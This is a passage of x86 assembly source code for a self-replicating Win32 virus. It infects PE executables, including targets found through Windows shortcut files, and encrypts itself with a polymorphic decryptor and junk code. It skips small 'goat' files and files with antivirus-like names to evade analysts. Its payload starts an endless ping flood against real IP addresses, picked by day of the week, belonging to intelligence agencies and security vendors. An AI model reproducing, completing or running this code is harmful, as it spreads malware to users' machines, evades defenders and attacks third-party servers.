jc NoInfection ; if we failed we don't infect..
|
|
|
|
mov esi, eax
|
|
call CheckMZSign ; if it is an EXE file, we go on
|
|
jc CheckLNK ; otherwise we test if it is a LNK
|
|
|
|
cmp word ptr [eax+3Ch], 0h
|
|
je CheckLNK
|
|
|
|
xor esi, esi ; get the start of the PE-Header
|
|
mov esi, [eax+3Ch]
|
|
; if it lies outside the file we skip it
|
|
cmp dword ptr [ebp+WFD_nFileSizeLow], esi
|
|
jb Notagoodfile
|
|
|
|
add esi, eax
|
|
|
|
mov edi, esi
|
|
call CheckPESign ; check if it is an PE-Executable
|
|
jc Notagoodfile
|
|
; check infection mark --> DDoS
|
|
; if it is there the file is already infected..
|
|
|
|
cmp dword ptr [esi+4Ch], 'SoDD'
|
|
jz Notagoodfile
|
|
|
|
mov bx, word ptr [esi+16h]; get characteristics
|
|
and bx, 0F000h ; we need just the Dll-Flag
|
|
cmp bx, 02000h
|
|
je Notagoodfile ; we will not infect dll-files
|
|
|
|
mov bx, word ptr [esi+16h]; get characteristics again
|
|
and bx, 00002h ; we check if it is no OBJ or something else..
|
|
cmp bx, 00002h
|
|
jne Notagoodfile
|
|
|
|
call InfectEXE ; ok, infect it !
|
|
; if there occoured an error
|
|
; while mapping the file again,
|
|
; we don't need to unmap & close it
|
|
jc NoInfection
|
|
jmp Notagoodfile
|
|
|
|
CheckLNK: ; check if we got an LNK-File
|
|
mov esi, dword ptr [ebp+MapAddress]
|
|
cmp word ptr [esi], 'L' ; check for sign
|
|
jne UnMapFile ; if it is no LNK File we close it
|
|
|
|
call InfectLNK
|
|
|
|
Notagoodfile:
|
|
call UnMapFile ; we store the file..
|
|
; we restore the file-attributes
|
|
|
|
push dword ptr [ebp+Attributes]
|
|
lea eax, [ebp+WFD_szFileName]
|
|
push eax
|
|
call dword ptr [ebp+XSetFileAttributesA]
|
|
|
|
NoInfection:
|
|
ret
|
|
|
|
|
|
; ***************************************************************************
|
|
; ------------------------[ Open and close Files ]---------------------------
|
|
; ***************************************************************************
|
|
|
|
OpenFile:
|
|
|
|
xor eax,eax ; let's open the file
|
|
push eax
|
|
push eax
|
|
push 3h
|
|
push eax
|
|
inc eax
|
|
push eax
|
|
push 80000000h or 40000000h
|
|
push esi ; name of file
|
|
call dword ptr [ebp+XCreateFileA]
|
|
|
|
inc eax
|
|
jz Closed ; if there is an error we don't infect the file
|
|
dec eax ; now the handle is in eax
|
|
; we save it
|
|
|
|
mov dword ptr [ebp+FileHandle],eax
|
|
|
|
; if we map a file normal, we map it with the size
|
|
; in the Find32-Data
|
|
; otherwise it is in ecx
|
|
mov ecx, dword ptr [ebp+WFD_nFileSizeLow]
|
|
|
|
CreateMap:
|
|
push ecx ; save the size
|
|
|
|
xor eax,eax ; we create a map of the file to
|
|
push eax ; be able to edit it
|
|
push ecx
|
|
push eax
|
|
push 00000004h
|
|
push eax
|
|
push dword ptr [ebp+FileHandle]
|
|
call dword ptr [ebp+XCreateFileMappingA]
|
|
|
|
mov dword ptr [ebp+MapHandle],eax
|
|
|
|
pop ecx ; get the size again..
|
|
test eax, eax ; if there is an error we close the file
|
|
jz CloseFile ; no infection today :(
|
|
|
|
xor eax,eax ; we map the file.. *bla*
|
|
push ecx
|
|
push eax
|
|
push eax
|
|
push 2h
|
|
push dword ptr [ebp+MapHandle]
|
|
call dword ptr [ebp+XMapViewOfFile]
|
|
|
|
or eax,eax ; if there is an error, we unmap it
|
|
jz UnMapFile
|
|
; eax contains the offset where
|
|
; our file is mapped.. *g*
|
|
|
|
mov dword ptr [ebp+MapAddress],eax
|
|
; Clear c-flag for successful opening
|
|
clc
|
|
|
|
ret ; we successfully opened it !
|
|
|
|
UnMapFile: ; ok, unmap it
|
|
|
|
call UnMapFile2
|
|
|
|
CloseFile: ; let's close it
|
|
|
|
push dword ptr [ebp+FileHandle]
|
|
call [ebp+XCloseHandle]
|
|
|
|
Closed:
|
|
stc ; set carriage flag
|
|
|
|
ret
|
|
|
|
UnMapFile2: ; we need to unmap it some times, to
|
|
; map it again with more space..
|
|
|
|
push dword ptr [ebp+MapAddress]
|
|
call dword ptr [ebp+XUnmapViewOfFile]
|
|
|
|
push dword ptr [ebp+MapHandle]
|
|
call dword ptr [ebp+XCloseHandle]
|
|
|
|
ret
|
|
|
|
|
|
; ***************************************************************************
|
|
; -------------------------[ Infect an EXE-FILE ]----------------------------
|
|
; ***************************************************************************
|
|
|
|
InfectEXE: ; MapAddress contains the starting offset of the file
|
|
|
|
; we will not infect exe files, which are smaller than
|
|
; 40 Kb, this is for avoiding goat files.
|
|
; AV's use them to study viruses !
|
|
|
|
cmp dword ptr [ebp+WFD_nFileSizeLow] , 0A000h
|
|
jb NoEXE
|
|
|
|
mov ecx, [esi+3Ch] ; esi points to the PE-Header
|
|
; ecx contains file-alignment
|
|
; put size in eax
|
|
|
|
mov eax, dword ptr [ebp+WFD_nFileSizeLow]
|
|
add eax, dword ptr [ebp+VirLen]
|
|
|
|
call Align ; align it and save the new size
|
|
mov dword ptr [ebp+NewSize], eax
|
|
xchg ecx, eax
|
|
|
|
pushad ; save registers
|
|
; we close the file and map it again,
|
|
; but this time we will load it
|
|
; with some more space, so we can add
|
|
; our code *eg*
|
|
call UnMapFile2
|
|
popad
|
|
|
|
call CreateMap ; we map it again with a bigger size
|
|
; if we got an error we return
|
|
jc NoEXE
|
|
; make esi point to the PE-Header again
|
|
; get offset
|
|
mov esi, dword ptr [eax+3Ch]
|
|
; make it VA
|
|
add esi, eax
|
|
mov edi, esi ; edi = esi
|
|
; eax = number of sections
|
|
movzx eax, word ptr [edi+06h]
|
|
dec eax
|
|
imul eax, eax, 28h ; multiply with size of section header
|
|
add esi, eax ; make it VA
|
|
add esi, 78h ; make it point to dir table
|
|
; esi points now to the dir-table
|
|
|
|
mov edx, [edi+74h] ; get number of dir - entrys
|
|
shl edx, 3h ; multiply with 8
|
|
add esi, edx ; make point to the last section
|
|
|
|
; get the Entry Point and save it
|
|
; we need it to be able to return
|
|
; to the original file
|
|
|
|
mov eax, [edi+28h]
|
|
mov dword ptr [ebp+OldEIP], eax
|
|
|
|
; get the imagebase, also needed to
|
|
; execute original file
|
|
mov eax, [edi+34h]
|
|
mov dword ptr [ebp+OldBase], eax
|
|
|
|
mov edx, [esi+10h] ; size of raw data
|
|
; we will increase it later
|
|
mov ebx, edx
|
|
add edx, [esi+14h] ; edx = Pointer to raw-data
|
|
|
|
push edx ; save it in stack
|
|
|
|
mov eax, ebx
|
|
add eax, [esi+0Ch] ; make it VA
|
|
; this is our new EIP
|
|
|
|
mov [edi+28h], eax
|
|
mov dword ptr [ebp+NewEIP], eax
|
|
|
|
mov eax, [esi+10h] ; get size of Raw-data
|
|
push eax
|
|
add eax, dword ptr [ebp+VirLen]
|
|
; increase it
|
|
mov ecx, [edi+3Ch] ; Align it
|
|
|
|
call Align
|
|
|
|
; save it in the file as
|
|
; new size of rawdata and
|
|
mov [esi+10h], eax
|
|
|
|
pop eax ; new Virtual size
|
|
add eax, dword ptr [ebp+VirLen]
|
|
add eax, Buffersize
|
|
mov [esi+08h], eax
|
|
|
|
pop edx
|
|
|
|
mov eax, [esi+10h]
|
|
add eax, [esi+0Ch] ; New Size of Image
|
|
; save it in the file
|
|
mov [edi+50h], eax
|
|
; change section flags to make
|
|
; us have write & read access to it
|
|
; when the infected file is run
|
|
; we also set the code flag.. ;)
|
|
or dword ptr [esi+24h], 0A0000020h
|
|
; we write our infection mark to the program,
|
|
; so we will not infect it twice
|
|
; --> DDoS
|
|
mov dword ptr [edi+4Ch], 'SoDD'
|
|
push edi ; save them
|
|
push edx
|
|
|
|
push 10d
|
|
pop ecx
|
|
call GetRand ; get random number ( we'll use the EAX value )
|
|
|
|
pop edi ; restore and xchange
|
|
pop edx
|
|
|
|
mov word ptr [ebp+Key], ax
|
|
push eax ; save it 2 times
|
|
|
|
lea esi, [ebp+Virus] ; point to start of virus
|
|
add edi, dword ptr [ebp+MapAddress]
|
|
push edi ; save edi
|
|
|
|
mov ecx, dword ptr [ebp+VirLen]
|
|
; get size of virus in ecx
|
|
rep movsb ; append virus !
|
|
|
|
pop esi ; decrypt the virus
|
|
mov edi, esi
|
|
add esi, NoCrypt
|
|
mov ecx, (CryptSize / 2)
|
|
|
|
pop edx ; get key from stack
|
|
push edi ; save start
|
|
mov edi, esi
|
|
|
|
EnCryptLoop: ; decrypt with second layer
|
|
lodsw
|
|
not ax
|
|
inc dx
|
|
xchg dl, dh
|
|
xor ax, dx
|
|
xchg al, ah
|
|
stosw
|
|
loop EnCryptLoop
|
|
|
|
|
|
pop esi ; let's start decrypting with the second layer
|
|
add esi, 05h ; skip the call
|
|
mov ecx, FirstLSize ; mov size to ecx
|
|
mov edi, esi
|
|
mov edx, dword ptr [ebp+CryptType]
|
|
xor eax, eax
|
|
|
|
XorEncrypt: ; we use a simple xor
|
|
dec edx
|
|
jnz NegEncrypt
|
|
mov dl, byte ptr [ebp+PolyKey]
|
|
|
|
@Xor:
|
|
lodsb
|
|
xor al, dl
|
|
stosb
|
|
loop @Xor
|
|
jmp EndPolyCrypto
|
|
|
|
NegEncrypt:
|
|
dec edx
|
|
jnz NotEncrypt
|
|
@Neg:
|
|
lodsb
|
|
neg al
|
|
stosb
|
|
loop @Neg
|
|
jmp End2LCrypto
|
|
|
|
NotEncrypt: ; not byte ptr [esi]
|
|
dec edx
|
|
jnz IncEncrypt
|
|
@Not:
|
|
lodsb
|
|
not al
|
|
stosb
|
|
loop @Not
|
|
jmp End2LCrypto
|
|
|
|
IncEncrypt: ; inc byte ptr [esi]
|
|
dec edx
|
|
jnz DecEncrypt
|
|
@Inc:
|
|
lodsb
|
|
dec al
|
|
stosb
|
|
loop @Inc
|
|
jmp End2LCrypto
|
|
|
|
DecEncrypt: ; dec byte ptr [esi]
|
|
lodsb
|
|
inc al
|
|
stosb
|
|
loop DecEncrypt
|
|
|
|
End2LCrypto:
|
|
|
|
dec byte ptr [ebp+InfCounter]
|
|
|
|
; if we succesfully received the dll and the
|
|
; function, we create a checksum for the
|
|
; file ( needed for dll's and WinNT )
|
|
cmp [ebp+XCheckSumMappedFile], 0h
|
|
je NoCRC
|
|
|
|
lea esi, [ebp+CheckSum]
|
|
push esi
|
|
lea esi, [ebp+HeaderSum]
|
|
push esi
|
|
push dword ptr [ebp+NewSize]
|
|
push dword ptr [ebp+MapAddress]
|
|
call dword ptr [ebp+XCheckSumMappedFile]
|
|
|
|
test eax, eax ; if this failed we don't save
|
|
jz NoCRC ; the crc
|
|
|
|
mov eax, dword ptr [ebp+MapAddress]
|
|
; eax points to the dos-stub
|
|
mov esi, [eax+3Ch] ; esi points to PE-Header
|
|
add esi, eax ; save CRC in header
|
|
|
|
mov eax, dword ptr [ebp+CheckSum]
|
|
mov [esi+58h], eax
|
|
|
|
NoCRC:
|
|
ret
|
|
NoEXE: ; let's return and close the infected file
|
|
; this will also write it to disk !
|
|
stc
|
|
ret
|
|
|
|
|
|
; ***************************************************************************
|
|
; ------------------------[ Infect an LNK-FILE ]-----------------------------
|
|
; ***************************************************************************
|
|
|
|
|
|
InfectLNK: ; if we find a link file, we try to find the
|
|
; file it points to. If it is a EXE File we are able
|
|
; to infect, we do so
|
|
; this will not work with NT-LNK-Files, there we will
|
|
; receive only the Drive, where the file is located
|
|
|
|
; ok, if a LNK is bigger than 1 Meg, it is none
|
|
; we check .. ;)
|
|
cmp dword ptr [ebp+WFD_nFileSizeLow] , 0400h
|
|
ja NoLNK
|
|
|
|
; get the start addy in esi, and and the size
|
|
mov esi, dword ptr [ebp+MapAddress]
|
|
mov ecx, dword ptr [ebp+WFD_nFileSizeLow]
|
|
xor edx, edx
|
|
add esi, ecx ; we start checking at the end of the file
|
|
; for a valid filename in it
|
|
CheckLoop:
|
|
cmp byte ptr [esi], 3ah ; we detect a filename by the 2 dots ( 3ah = : )
|
|
jne LNKSearch ; in the Drive
|
|
|
|
inc edx ; there are 2 times 2 dots, when checking from
|
|
cmp edx, 2d ; the end of the LNK, we need the 2.nd
|
|
je PointsDetected
|
|
|
|
LNKSearch: ; go on searching
|
|
dec esi
|
|
loop CheckLoop
|
|
; if we end here, we did not find the two dots.. :(
|
|
NoLNK:
|
|
|
|
ret
|
|
|
|
PointsDetected: ; we found the drive ( two dots ... *g* )
|
|
; esi points to them, now we need to check
|
|
; for the start of the name..
|
|
|
|
cmp byte ptr [esi+1], 0h ; check if we got an entire path or just a
|
|
je NoLNK ; single drive ( may happen in NT / 2k )
|
|
|
|
|
|
PointsDetected2:
|
|
dec esi
|
|
cmp byte ptr [esi], 0h
|
|
je NameDetected
|
|
|
|
loop PointsDetected2 ; ecx still takes care, that we don't
|
|
; search too far..
|
|
jmp NoLNK ; nothing found ? return..
|
|
|
|
NameDetected: ; ok, esi points now to the name of the file
|
|
; so we try a FindFileFirst to get the information
|
|
; first, we save the information in the WIN32_FIND_DATA
|
|
; then we try to find the file.
|
|
inc esi
|
|
push esi ; save it
|
|
|
|
lea esi, [ebp+WIN32_FIND_DATA]
|
|
lea edi, [ebp+Buffer] ; save the old WIN32_FIND_DATA
|
|
mov ecx, 337d ; and some more data
|
|
rep movsb
|
|
|
|
lea edi, [ebp+WIN32_FIND_DATA]
|
|
xor eax, eax ; clean this field
|
|
mov ecx, 337d
|
|
rep stosb
|
|
|
|
pop esi
|
|
|
|
call FindFirstFileProc
|
|
|
|
inc eax
|
|
jz RestoreLNK ; If there are no files, we return
|
|
dec eax
|
|
; otherwise we save the handle
|
|
|
|
; if we went here, we know the file exists
|
|
; esi still points to the filename including the
|
|
; directory, we save this in the win32_Find_DATA
|
|
; field, because the name there contains no path
|
|
|
|
lea edi, [ebp+WFD_szFileName]
|
|
mov ecx, 259d ; we just move 259 Bytes, so there is still a ending
|
|
; Zero if the name is longer and we just get a simple error
|
|
; and not an SEH or some other shit
|
|
rep movsb
|
|
lea esi, [ebp+WFD_szFileName]
|
|
call InfectFile ; esi points to the filename again, so we infect it ;)
|
|
|
|
push dword ptr [ebp+LNKFindHandle]
|
|
call dword ptr [ebp+XFindClose]
|
|
|
|
RestoreLNK:
|
|
lea edi, [ebp+WIN32_FIND_DATA]
|
|
lea esi, [ebp+Buffer] ; restore the old WIN32_FIND_DATA
|
|
mov ecx, 337d ; and some other data
|
|
rep movsb
|
|
|
|
ret ; return to find more files
|
|
|
|
LNKFindHandle dd 0h ; here we save the search-handle
|
|
|
|
; ***************************************************************************
|
|
; ---------------------[ The evil Part: the Payload ]------------------------
|
|
; ***************************************************************************
|
|
|
|
|
|
|
|
PayLoad: ; here we handle the payload of the virus *eg*
|
|
|
|
cmp dword ptr [ebp+W32Handle],0
|
|
jne ExecuteHost
|
|
|
|
cmp dword ptr [ebp+XCreateThread],0
|
|
je ExecuteHost ; we better check this, cause this api does not exist in 2k
|
|
|
|
|
|
lea eax, [ebp+SystemTime] ; retrieve current date, time,.. whatever
|
|
push eax
|
|
call dword ptr [ebp+XGetSystemTime]
|
|
|
|
lea esi, [ebp+wDayOfWeek] ; get the day
|
|
xor eax, eax
|
|
lodsw
|
|
|
|
shl eax, 2h ; multiply with 4
|
|
; get Target
|
|
lea esi, [ebp+TargetTable]
|
|
add esi, eax
|
|
lea edi, [ebp+Target_IP] ; write IP to Destination Address Field
|
|
movsd
|
|
; we get a nice target for the payload
|
|
; and create a new thread to fulfill it ;)
|
|
|
|
push offset threadID ; here we save the thread ID
|
|
push 0h
|
|
push 0h
|
|
push offset PingFlood ; here starts the code of the new thread
|
|
push 0h
|
|
push 0h
|
|
call dword ptr [ebp+XCreateThread]
|
|
|
|
jmp ExecuteHost ; we're finished, so we execute the host-file
|
|
|
|
PingFlood: ; this is the thread of the payload !
|
|
; here are we doing the really evil thingies ;)
|
|
; we will start pinging a server ;P
|
|
|
|
lea eax, [ebp+offset WSA_DATA]
|
|
push eax ; where is it..
|
|
push 0101h ; required version
|
|
call dword ptr [ebp+XWSAStartup]
|
|
|
|
push 1 ; We want to use the icmp protocoll
|
|
push 3 ; SOCK_STREAM
|
|
push 2 ; Address Format
|
|
call dword ptr [ebp+Xsocket]
|
|
|
|
mov dword ptr [ebp+ICMP_Handle], eax
|
|
|
|
push 4 ; set the options ( timeout, not really
|
|
; nessecairy in this case *g* )
|
|
lea eax, [ebp+offset Timeout]
|
|
push eax
|
|
push 1006h
|
|
push 0FFFFh
|
|
push eax
|
|
call dword ptr [ebp+Xsetsockopt]
|
|
|
|
; we need to create a checksum for the packet
|
|
lea esi, [ebp+ICMP_Packet]; nothing serious just some additions
|
|
|
|
push 6 ; we do this for 6 words
|
|
pop ecx ; = 12 bytes
|
|
xor edx, edx
|
|
|
|
CreateICMP_CRC: ; load one
|
|
lodsw
|
|
movzx eax, ax ; mov it to eax ( clean upper part of eax )
|
|
add edx, eax ; add it to edx ( we just add them all )
|
|
loop CreateICMP_CRC
|
|
|
|
movzx eax, dx ; add the lower ( dx ) and the upper part of
|
|
shr edx, 16d ; edx together in eax
|
|
add eax, edx
|
|
|
|
movzx edx, ax ; save ax in edx
|
|
shr eax, 16d ; mov upper part of eax to ax ( clean upper part )
|
|
add eax, edx ; add old ax to new ax ( add upper part to lower part )
|
|
|
|
not eax ; eax = - 1 * ( eax + 1 )
|
|
; this is our checksum
|
|
mov word ptr [ebp+ICMP_CRC], ax
|
|
|
|
|
|
push 16d ; get it out, we send our packet !
|
|
lea eax, [ebp+offset Info]
|
|
push eax
|
|
push 0
|
|
push 12d
|
|
lea eax, [ebp+offset ICMP_Packet]
|
|
push eax
|
|
push dword ptr [ebp+ICMP_Handle]
|
|
call dword ptr [ebp+Xsendto]
|
|
|
|
CloseSocket: ; close the socket, to stay stable ;)
|
|
push dword ptr [ebp+ICMP_Handle]
|
|
call dword ptr [ebp+Xclosesocket]
|
|
call dword ptr [ebp+XWSACleanup]
|
|
|
|
|
|
jmp PingFlood ; heh that was fun, let's do it again ;)
|
|
|
|
|
|
Timeout dd 100000d ; 10000 ms Timeout ( we don't really care about it *g* )
|
|
Info:
|
|
dw 2h
|
|
dw 0h
|
|
Target_IP db 0d, 0d, 0d, 0d
|
|
dd 0h ; there we will fill in the target ip address ;)
|
|
ICMP_Packet db 8h
|
|
db 0h
|
|
ICMP_CRC dw 0h ; for the CRC Calculation of the ping
|
|
dd 0h
|
|
dd 0h
|
|
dd 0h
|
|
ICMP_Handle dd 0h ; the handle of the open Socket
|
|
|
|
TargetTable: ; these are our targets
|
|
; please note again, that i don't want to damage one
|
|
; of these servers ! I choose them because I think that
|
|
; they will stand such an attack if anyone will ever release this
|
|
; into the wild !!!
|
|
|
|
db 62d, 156d, 146d, 231d ; Sunday = www.bundesnachrichtendienst.de
|
|
db 195d, 154d, 220d, 34d ; Monday = French Secret Service ( dgse.citeweb.net )
|
|
db 216d, 122d, 8d, 245d ; Tuesday = www.avp.com ( AV )
|
|
db 216d, 41d, 20d, 75d ; Wednesday = www.lockdown2000.com
|
|
db 194d, 252d, 6d, 47d ; Thursday = www.f-secure.com
|
|
db 208d, 226d, 167d, 23d ; Friday = www.norton.com
|
|
db 205d, 178d, 21d, 3d ; Saturday = www.zonelabs.com
|
|
|
|
|
|
; ***************************************************************************
|
|
; -------------------------[ Align-Procedure ]-------------------------------
|
|
; ***************************************************************************
|
|
; lets align the size..
|
|
; eax - size
|
|
; ecx - base
|
|
Align:
|
|
push edx
|
|
xor edx, edx
|
|
push eax
|
|
div ecx
|
|
pop eax
|
|
sub ecx, edx
|
|
add eax, ecx
|
|
pop edx ; eax - new size
|
|
ret
|
|
|
|
|
|
; ***************************************************************************
|
|
; --------------------------[ FindFile Procedures ]--------------------------
|
|
; ***************************************************************************
|
|
|
|
|
|
FindFirstFileProc:
|
|
lea eax, [ebp+WIN32_FIND_DATA]
|
|
push eax
|
|
push esi
|
|
call dword ptr [ebp+XFindFirstFileA]
|
|
mov dword ptr [ebp+FindHandle], eax
|
|
ret
|
|
|
|
FindNextFileProc:
|
|
lea edi, [ebp+WFD_szFileName]
|
|
mov ecx, 276d ; we clear these fields !
|
|
xor eax, eax
|
|
rep stosb
|
|
|
|
lea eax, [ebp+WIN32_FIND_DATA]
|
|
push eax
|
|
mov eax, dword ptr [ebp+FindHandle]
|
|
push eax
|
|
call dword ptr [ebp+XFindNextFileA]
|
|
ret
|
|
|
|
CheckFileName:
|
|
pushad
|
|
lea esi, [ebp+WFD_szFileName]
|
|
mov edi, esi
|
|
mov ecx, 260d
|
|
|
|
ConvertLoop: ; Convert to upper cases
|
|
lodsb
|
|
cmp al, 96d
|
|
jb Convert
|
|
cmp al, 123d
|
|
ja Convert
|
|
or al, al
|
|
jz EndConvert
|
|
sub al, 32d
|
|
Convert:
|
|
stosb
|
|
loop ConvertLoop
|
|
|
|
EndConvert:
|
|
lea edi, [ebp+WFD_szFileName]
|
|
lea esi, [ebp+FileNames]
|
|
mov ecx, 3h
|
|
|
|
FileNameCheck: ; check for av-names
|
|
push ecx ; i don't want to infect them
|
|
mov ecx, 260d
|
|
|
|
CheckON:
|
|
lodsb
|
|
repnz scasb
|
|
or ecx, ecx
|
|
jnz AVFile
|
|
|
|
pop ecx
|
|
inc esi
|
|
loop FileNameCheck
|
|
|
|
jmp EndFileNameCheck
|
|
|
|
|
|
AVFile:
|
|
mov al, byte ptr [esi] ; check if the second char also matches
|
|
cmp byte ptr [edi], al
|
|
je GotAVFile
|
|
|
|
dec esi
|
|
jmp CheckON
|
|
|
|
GotAVFile:
|
|
pop ecx ; clear stack
|
|
popad
|
|
stc ; set carriage flag
|
|
ret
|
|
|
|
EndFileNameCheck:
|
|
popad
|
|
clc
|
|
ret
|
|
|
|
|
|
FileNames db 'AV' ; we avoid these names
|
|
db 'AN' ; so we will not infect an AV and
|
|
db 'DR' ; alert the user
|
|
|
|
;****************************************************************************
|
|
; ---------------------[ Checks for PE / MZ Signs ]--------------------------
|
|
; ***************************************************************************
|
|
; we check here for PE and MZ signs
|
|
; to identify the Executable we want to infect
|
|
; I do this a little bit different than usual *g*
|
|
CheckPESign:
|
|
cmp dword ptr [edi], 'FP' ; check if greater or equal to PF
|
|
jae NoPESign
|
|
|
|
cmp dword ptr [edi], 'DP' ; check if lower or equal to PD
|
|
jbe NoPESign
|
|
|
|
clc ; all that's left is PE
|
|
ret
|
|
|
|
NoPESign:
|
|
stc ; set carriage flag
|
|
ret
|
|
|
|
CheckMZSign:
|
|
cmp word ptr [esi], '[M'
|
|
jae NoPESign
|
|
|
|
cmp word ptr [esi], 'YM'
|
|
jbe NoPESign
|
|
|
|
clc
|
|
ret
|
|
ret
|
|
|
|
; ***************************************************************************
|
|
; ----------------[ Generate a pesudo-random Number ]------------------------
|
|
; ***************************************************************************
|
|
|
|
GetRand:
|
|
; generate a pseudo-random NR.
|
|
; based on some initial registers
|
|
push ecx ; and the Windows - Ontime
|
|
add ecx, eax
|
|
call dword ptr [ebp+XGetTickCount]
|
|
add eax, ecx
|
|
add eax, ecx
|
|
add eax, edx
|
|
add eax, edi
|
|
add eax, ebp
|
|
add eax, dword ptr [ebp+PolyLen]
|
|
add eax, dword ptr [ebp+LoopLen]
|
|
|
|
sub eax, esi
|
|
sub eax, ebx
|
|
|
|
pop ecx
|
|
add eax, ecx
|
|
|
|
add al, byte ptr [ebp+Reg1]
|
|
add ah, byte ptr [ebp+Reg2]
|
|
|
|
or eax, eax
|
|
jne GetOutRand
|
|
mov eax, 87654321h
|
|
inc eax
|
|
|
|
GetOutRand:
|
|
xor edx, edx ; clean edx ( needed to be able to divide later )
|
|
div ecx ; Random Numer is in EAX
|
|
; RND No. 'till ECX in EDX
|
|
ret
|
|
|
|
; ***************************************************************************
|
|
; ----------------------[ Generate a Poly Decryptor ]------------------------
|
|
; ***************************************************************************
|
|
|
|
|
|
genPoly:
|
|
and dword ptr [ebp+PolyLen], 0h
|
|
|
|
push 10h
|
|
pop ecx
|
|
call GetRand ; get a random number to start
|
|
; and save it as the new key used for all files
|
|
|
|
mov byte ptr [ebp+PolyKey], al
|
|
|
|
call GetRegs
|
|
|
|
lea edi, [ebp+PDecrypt] ; here starts the decryptor
|
|
|
|
call RandJunk
|
|
; we have 3 different ways to put
|
|
; the size in ecx and 3 different ways
|
|
; to get the starting offset in esi
|
|
push 2h ; divide by 2
|
|
pop ecx
|
|
call GetRand ; get a random number to decide what we do
|
|
; first
|
|
; we need these 2 values before we start the
|
|
; decryption loop !
|
|
|
|
; if edx = 1 we use the second one
|
|
dec edx ; chose the Order
|
|
jz SecondOrder
|
|
FirstOrder:
|
|
call GenerateESI ; esi comes first and ecx follows
|
|
call RandJunk
|
|
call GenerateECX ; and 4 different ways to get size in exc
|
|
jmp Polypreparefinished ; so there is nothing static here !
|
|
|
|
SecondOrder: ; ecx comes first and esi follows
|
|
call GenerateECX
|
|
call RandJunk
|
|
call GenerateESI
|
|
|
|
Polypreparefinished: ; we finished the preparing and can start the loop
|
|
; we need a
|
|
; xor byte ptr [esi], key ( or other crypto )
|
|
; inc esi / add esi, 1h
|
|
; loop Decryptor / dec ecx , jnz Above ..
|
|
|
|
; lenght of loop = 0
|
|
and dword ptr [ebp+LoopLen], 0
|
|
; now we choose the way we crypt this thing !
|
|
|
|
push 5h
|
|
pop ecx
|
|
call GetRand
|
|
mov dword ptr [ebp+CryptType], edx
|
|
|
|
XorDecrypt: ; we use a simple XOR BYTE PTR [ESI], KEY
|
|
dec edx
|
|
jnz NegDecrypt
|
|
|
|
mov ax, 3680h ; xor byte ptr [esi]
|
|
stosw
|
|
|
|
mov al, byte ptr [ebp+PolyKey]
|
|
stosb
|
|
; increase sizes ( we will add the last 2 bytes later )
|
|
add dword ptr [ebp+LoopLen], 1h
|
|
add dword ptr [ebp+PolyLen], 1h
|
|
|
|
jmp EndPolyCrypto
|
|
|
|
NegDecrypt: ; neg byte ptr [esi]
|
|
dec edx
|
|
jnz NotDecrypt
|
|
mov ax, 1EF6h
|
|
stosw
|
|
jmp EndPolyCrypto
|
|
|
|
NotDecrypt: ; not byte ptr [esi]
|
|
dec edx
|
|
jnz IncDecrypt
|
|
mov ax, 16F6h
|
|
stosw
|
|
jmp EndPolyCrypto
|
|
|
|
IncDecrypt: ; inc byte ptr [esi]
|
|
dec edx
|
|
jnz DecDecrypt
|
|
mov ax, 06FEh
|
|
stosw
|
|
jmp EndPolyCrypto
|
|
|
|
DecDecrypt: ; dec byte ptr [esi]
|
|
mov ax, 0EFEh
|
|
stosw
|
|
|
|
|
|
EndPolyCrypto: ; add the last 2 bytes
|
|
add dword ptr [ebp+LoopLen], 2h
|
|
add dword ptr [ebp+PolyLen], 2h
|
|
|
|
call RandJunk ; more junk.. ;)
|
|
|
|
; now we need to increase esi
|
|
; to crypt the next byte
|
|
push 3h
|
|
pop ecx
|
|
call GetRand
|
|
|
|
IncESI1:
|
|
dec edx
|
|
jnz IncESI2
|
|
|
|
mov al, 46h ; do a simple inc esi
|
|
stosb
|
|
|
|
jmp EndIncESI
|
|
|
|
IncESI2: ; add esi, 1h
|
|
dec edx
|
|
jnz IncESI3
|
|
|
|
mov al, 83h
|
|
stosb
|
|
mov ax, 01C6h
|
|
stosw
|
|
|
|
jmp EndIncESI2
|
|
|
|
IncESI3: ; clc, adc esi, 1h
|
|
|
|
mov eax, 01d683f8h
|
|
stosd
|
|
|
|
add dword ptr [ebp+LoopLen], 1h
|
|
add dword ptr [ebp+PolyLen], 1h
|
|
|
|
EndIncESI2:
|
|
add dword ptr [ebp+LoopLen], 2h
|
|
add dword ptr [ebp+PolyLen], 2h
|
|
|
|
EndIncESI:
|
|
add dword ptr [ebp+LoopLen], 1h
|
|
add dword ptr [ebp+PolyLen], 1h
|
|
|
|
call RandJunk ; more, and more..
|
|
|
|
; now esi is incremented and we just have to do
|
|
; the loop
|
|
push 3h
|
|
pop ecx
|
|
call GetRand
|
|
LoopType1: ; we use the most common form : loop ;)
|
|
dec edx
|
|
jnz LoopType2
|
|
|
|
mov al, 0e2h
|
|
stosb
|
|
|
|
call StoreLoopLen
|
|
|
|
jmp EndLoopType
|
|
|
|
LoopType2: ; we do a dec ecx, jnz
|
|
dec edx
|
|
jnz LoopType3
|
|
|
|
mov ax, 7549h
|
|
stosw ; correct Loop Size ( dec ecx = 1 byte )
|
|
add dword ptr [ebp+LoopLen], 1h
|
|
call StoreLoopLen
|
|
|
|
add dword ptr [ebp+PolyLen], 1h
|
|
|
|
jmp EndLoopType
|
|
|
|
LoopType3:
|
|
mov eax, 0F98349h ; dec ecx cmp ecx, 0h
|
|
stosd
|
|
add dword ptr [ebp+LoopLen], 4h
|
|
mov al, 75h ; jne
|
|
stosb
|
|
add dword ptr [ebp+PolyLen], 3h
|
|
call StoreLoopLen
|
|
|
|
EndLoopType:
|
|
add dword ptr [ebp+PolyLen], 2h
|
|
|
|
mov byte ptr [edi], 0C3h ; save the ending ret
|
|
add dword ptr [ebp+PolyLen], 2h
|
|
|
|
|
|
mov eax, VirusSize ; calculate the new size for the virus
|
|
add eax, dword ptr [ebp+PolyLen]
|
|
mov dword ptr [ebp+VirLen], eax
|
|
|
|
ret
|
|
|
|
StoreLoopLen:
|
|
xor eax, eax ; calculate the size for the loop
|
|
mov ax, 100h
|
|
sub eax, dword ptr [ebp+LoopLen]
|
|
sub eax, 2h
|
|
stosb
|
|
ret
|
|
|
|
; ***************************************************************************
|
|
; --------------------------[ Insert Junk Code ]----------------------------
|
|
; ***************************************************************************
|
|
RandJunk: ; edi points to the place where they will be stored
|
|
; we will insert 1-8 junk instructions
|
|
push 7d ; each time this routine is called
|
|
pop ecx
|
|
call GetRand
|
|
xchg ecx, edx
|
|
inc ecx
|
|
|
|
push ecx
|
|
|
|
|
|
RandJunkLoop:
|
|
push ecx
|
|
|
|
push 8h
|
|
pop ecx
|
|
